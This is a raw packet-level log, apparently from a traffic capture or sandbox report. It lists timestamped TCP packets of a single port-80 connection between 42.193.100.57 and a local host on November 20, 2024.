        Nov 20, 2024 09:14:53.624459982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624466896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624474049 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624486923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624516010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624542952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624598980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624665976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624778032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624790907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624806881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624829054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624852896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624852896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624866962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624926090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624927044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624943018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624962091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624969959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624980927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.624982119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.624993086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625003099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625014067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625016928 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625025988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625053883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625076056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625114918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625125885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625137091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625149965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625165939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625188112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625211954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625276089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625288010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625333071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625333071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625368118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625401974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625412941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625416994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625425100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625436068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625447035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625452995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625457048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625468969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625479937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625487089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625507116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625530958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625720024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625731945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625768900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625787973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625884056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625895977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625906944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625917912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625927925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625951052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625955105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.625962973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625974894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.625993013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626012087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626012087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626035929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626046896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626064062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626074076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626094103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626096010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626107931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626108885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626121998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626169920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626169920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626197100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626223087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626249075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626259089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626380920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626394033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626405954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626424074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626441956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.626589060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.626638889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707174063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707186937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707199097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707205057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707222939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707233906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707245111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707254887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707267046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707268000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707281113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707297087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707308054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707340956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707340956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707362890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707367897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707377911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707392931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707410097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707416058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707427025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707427025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707441092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707451105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707469940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707483053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707494974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707503080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707504034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707519054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707535982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707539082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707547903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707560062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707560062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707571983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707590103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707598925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707617998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707622051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707634926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707637072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707645893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707657099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707668066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707669020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707680941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707688093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707700968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707712889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707720041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707735062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707765102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707767963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707779884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707791090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707802057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707803965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707814932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707825899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707856894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707904100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707915068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707926035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707937002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707947969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707957029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707957983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707972050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.707977057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.707994938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.708015919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.708040953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708054066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708065987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708076954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708087921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708098888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.708111048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.708147049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.878915071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.878998995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879009008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879035950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879064083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879080057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879091024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879122019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879132032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879142046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879143000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879172087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879184961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879379988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879390955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879437923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.879570007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.879628897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.880175114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.880186081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.880235910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.880575895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.880628109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.880733967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.880783081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.881167889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.881179094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.881217003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.881233931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.881329060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.881402016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.881902933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.881916046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.881949902 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.882030010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.882059097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.882103920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.882622004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.882666111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.882759094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.882803917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.882906914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.882920027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.882956028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.883503914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.883557081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.883661032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.883716106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.883826017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.883869886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.883961916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884006977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.884661913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884740114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.884942055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884953976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884964943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884974957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884984970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.884995937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885008097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885025978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885025978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885025978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885041952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885119915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885154009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885164976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885175943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885184050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885195017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885196924 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885201931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885216951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885216951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885230064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885238886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885241985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885248899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885272980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885282040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885298014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885301113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885312080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885323048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885323048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885334015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885339975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885346889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885349035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885370970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885392904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885397911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885405064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885416985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885447979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885452986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885467052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885478020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885488987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885499954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885525942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885528088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885538101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885538101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885550976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885560989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885564089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885572910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885575056 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885595083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885598898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885615110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885620117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885627985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885654926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885654926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885662079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885665894 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885674953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885701895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885704041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885711908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885715008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885724068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885735989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885735989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885746002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885754108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885765076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885771990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885796070 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885801077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885813951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885821104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885823965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885840893 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885843992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885849953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885855913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885867119 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885867119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885879993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885885954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885886908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885895967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885915041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885915041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885926962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885947943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885952950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885962009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885972023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885982990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885987997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.885993958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.885996103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886006117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886017084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886018038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886028051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886039019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886039972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886061907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886065006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886075974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886077881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886107922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886107922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886118889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886128902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886130095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886141062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886142015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886153936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886166096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886182070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886193991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886204958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886204958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886204958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886217117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886229038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886229992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886241913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886248112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886255980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886260986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886270046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886274099 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886285067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886286020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886296988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886307955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886315107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:53.886318922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886331081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:53.886356115 CET4970180192.168.2.1142.193.100.57
